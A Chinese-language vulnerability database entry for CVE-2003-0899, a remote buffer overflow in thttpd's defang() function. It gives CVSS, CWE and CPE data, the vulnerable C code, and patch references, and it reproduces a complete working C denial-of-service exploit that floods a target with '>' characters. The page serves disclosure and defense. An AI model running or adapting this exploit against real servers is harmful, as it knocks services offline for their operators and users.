CVE-2003-0899
CVSS7.5
发布时间 :2003-11-03 00:00:00
修订时间 :2016-12-07 21:59:25
NMCOES    

[原文]Buffer overflow in defang in libhttpd.c for thttpd 2.21 to 2.23b1 allows remote attackers to execute arbitrary code via requests that contain '<' or '>' characters, which trigger the overflow when the characters are expanded to "&lt;" and "&gt;" sequences.


[CNNVD]thttpd defang远程缓冲区溢出漏洞(CNNVD-200311-007)

        
        thttpd是一款小型HTTP服务程序。
        thttpd没有进行正确的缓冲区边界检查,远程攻击者可以利用这个漏洞对服务程序进行缓冲区溢出攻击,可能以WEB进程权限在系统上执行任意指令。
        问题存在于libhttpd.c中的defang()函数缺少应有的边界缓冲区检查。目前没有详细漏洞细节提供。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-119 [内存缓冲区边界内操作的限制不恰当]

- CPE (受影响的平台与产品)

cpe:/a:acme_labs:thttpd:2.22
cpe:/a:acme_labs:thttpd:2.21b
cpe:/a:acme_labs:thttpd:2.21
cpe:/a:acme_labs:thttpd:2.23b1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0899
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0899
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200311-007
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=106729188224252&w=2
(UNKNOWN)  BUGTRAQ  20031027 Remote overflow in thttpd
http://www.securityfocus.com/bid/8906
(PATCH)  BID  8906
http://xforce.iss.net/xforce/xfdb/13530
(PATCH)  XF  thttpd-defang-bo(13530)
https://www.debian.org/security/2003/dsa-396
(UNKNOWN)  DEBIAN  DSA-396

- 漏洞信息

thttpd defang远程缓冲区溢出漏洞
高危 边界条件错误
2003-11-03 00:00:00 2007-01-24 00:00:00
远程  
        
        thttpd是一款小型HTTP服务程序。
        thttpd没有进行正确的缓冲区边界检查,远程攻击者可以利用这个漏洞对服务程序进行缓冲区溢出攻击,可能以WEB进程权限在系统上执行任意指令。
        问题存在于libhttpd.c中的defang()函数缺少应有的边界缓冲区检查。目前没有详细漏洞细节提供。
        

- 公告与补丁

        厂商补丁:
        Debian
        ------
        
        http://www.debian.org/security/2003/dsa-396

- 漏洞信息 (23305)

thttpd 2.2x defang Remote Buffer Overflow Vulnerability (1) (EDBID:23305)
linux dos
2003-10-27 Verified
0 Joel Soderberg
N/A [点击下载]
source: http://www.securityfocus.com/bid/8906/info

A vulnerability has been reported in thttpd that may allow a remote attacker to execute arbitrary code on vulnerable host. The issue is reported to exist due to a lack of bounds checking by software, leading to a buffer overflow condition. The problem is reported to exist in the defang() function in libhttpd.c.

This issue may allow an attacker to gain unauthorized access to a vulnerable host. Successful exploitation of this issue may allow an attacker to execute arbitrary code in the context of the web server in order to gain unauthorized access to a vulnerable system.

thttpd versions 2.21 to 2.23b1 have been reported to be prone to this issue, however other versions may be affected as well. 

static void
defang( char* str, char* dfstr, int dfsize )
    {
    char* cp1;
    char* cp2;

    for ( cp1 = str, cp2 = dfstr;
   *cp1 != '\0' && cp2 - dfstr < dfsize - 1;
   ++cp1, ++cp2 )
 {
 switch ( *cp1 )
     {
     case '<':
     *cp2++ = '&';
     *cp2++ = 'l';
     *cp2++ = 't';
     *cp2 = ';';
     break;
     case '>':
     *cp2++ = '&';
     *cp2++ = 'g';
     *cp2++ = 't';
     *cp2 = ';';
     break;
     default:
     *cp2 = *cp1;
     break;
     }
 }
    *cp2 = '\0';
    }

		

- 漏洞信息 (23306)

thttpd 2.2x defang Remote Buffer Overflow Vulnerability (2) (EDBID:23306)
linux remote
2003-10-27 Verified
0 d3ck4
N/A [点击下载]
source: http://www.securityfocus.com/bid/8906/info
 
A vulnerability has been reported in thttpd that may allow a remote attacker to execute arbitrary code on vulnerable host. The issue is reported to exist due to a lack of bounds checking by software, leading to a buffer overflow condition. The problem is reported to exist in the defang() function in libhttpd.c.
 
This issue may allow an attacker to gain unauthorized access to a vulnerable host. Successful exploitation of this issue may allow an attacker to execute arbitrary code in the context of the web server in order to gain unauthorized access to a vulnerable system.
 
thttpd versions 2.21 to 2.23b1 have been reported to be prone to this issue, however other versions may be affected as well. 

==========================[ thttpd-sontot.c ]=========================
 
// thttpd-sontot.c remote dos exploit by d3ck4
// Base On Texonet Security Advisory 20030908
// Application    : thttpd
// Version(s)     : 2.21 - 2.23b1
// Platforms      : FreeBSD, SunOS 4, Solaris 2, BSD/OS, Linux, OSF
// Solution       : Upgrade to version 2.24
// Remote exploit not yet ;P~
 
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>

int main(int argc, char **argv)
{
  struct sockaddr_in addr;
  struct hostent *host;
  char buffer[1000];
  char buffer1[1130];
  int s, i;
  if(argc != 3)
  {
    fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
    exit(0);
  }
  s = socket(AF_INET, SOCK_STREAM, 0);
  if(s == -1)
  {
    perror("socket() failed\n");
    exit(0);
  }
  host = gethostbyname(argv[1]);
  if( host == NULL)
  {
    herror("gethostbyname() failed");
    exit(0);
  }
  addr.sin_addr = *(struct in_addr*)host->h_addr;
  addr.sin_family = AF_INET;
  addr.sin_port = htons(atol(argv[2]));
 
  if(connect(s, &addr, sizeof(addr)) == -1)
  {
    perror("couldn't connect to server\n");
    exit(0);
  }
 
  for(i = 0; i < 1000 ; i++)
    buffer1[i] = '>';
    sprintf(buffer, "GET /%s HTTP/1.0\r\n\r\n\r\n", buffer1);
    printf("\n(Drink Tongkat-Ali For Better Performance ;P~ !)\n\n");
    printf("Buffer is: %s\n\n", buffer1);
    printf("Buffer filled... now sending buffer\n");
    send(s, buffer, strlen(buffer), 0);
 
    printf("Buffer sent.\nNow thttpd daemon should be dead !!!\n\n");
    close(s);
  return 0;
}
 
/* EOF */

==========================[ thttpd-sontot.c ]=========================


---------------------------------
Do you Yahoo!?
Free Pop-Up Blocker - Get it now		

- 漏洞信息

2729
thttpd libhttpd.c defang() Function Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity

- 漏洞描述

- 时间线

2003-10-27 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

thttpd defang Remote Buffer Overflow Vulnerability
Boundary Condition Error 8906
Yes No
2003-10-27 12:00:00 2009-07-11 11:56:00
The disclosure of this issue has been credited to Joel Soderberg and Christer Oberg of Texonet.

- 受影响的程序版本

Acme thttpd 2.23 b1
+ S.u.S.E. Linux 8.1
+ S.u.S.E. Linux Personal 9.0
+ S.u.S.E. Linux Personal 8.2
Acme thttpd 2.22
Acme thttpd 2.21 b
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
Acme thttpd 2.21
Acme thttpd 2.20 c
+ Conectiva Linux 9.0
+ S.u.S.E. Linux 8.0
Acme thttpd 2.20 b
+ S.u.S.E. Linux 7.3
Acme thttpd 2.24

- 不受影响的程序版本

Acme thttpd 2.24

- 漏洞讨论

A vulnerability has been reported in thttpd that may allow a remote attacker to execute arbitrary code on vulnerable host. The issue is reported to exist due to a lack of bounds checking by software, leading to a buffer overflow condition. The problem is reported to exist in the defang() function in libhttpd.c.

This issue may allow an attacker to gain unauthorized access to a vulnerable host. Successful exploitation of this issue may allow an attacker to execute arbitrary code in the context of the web server in order to gain unauthorized access to a vulnerable system.

thttpd versions 2.21 to 2.23b1 have been reported to be prone to this issue, however other versions may be affected as well.

- 漏洞利用

A denial of service proof-of-concept has been released:

- 解决方案

SuSE has released an advisory (SuSE-SA:2003:044) to address this issue in SuSE Linux platforms. Affected users are advised to apply fixes as soon as possible. Further information regarding obtaining and applying these fixes can be found in the referenced advisory.

Debian has released an advisory (DSA 396-1) that addresses this issue. Please see the attached advisory for details on obtaining and applying updates.

The vendor has released a new version (thttpd 2.24) to address this issue:


Acme thttpd 2.20 b

Acme thttpd 2.20 c

Acme thttpd 2.21

Acme thttpd 2.21 b

Acme thttpd 2.22

Acme thttpd 2.23 b1

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站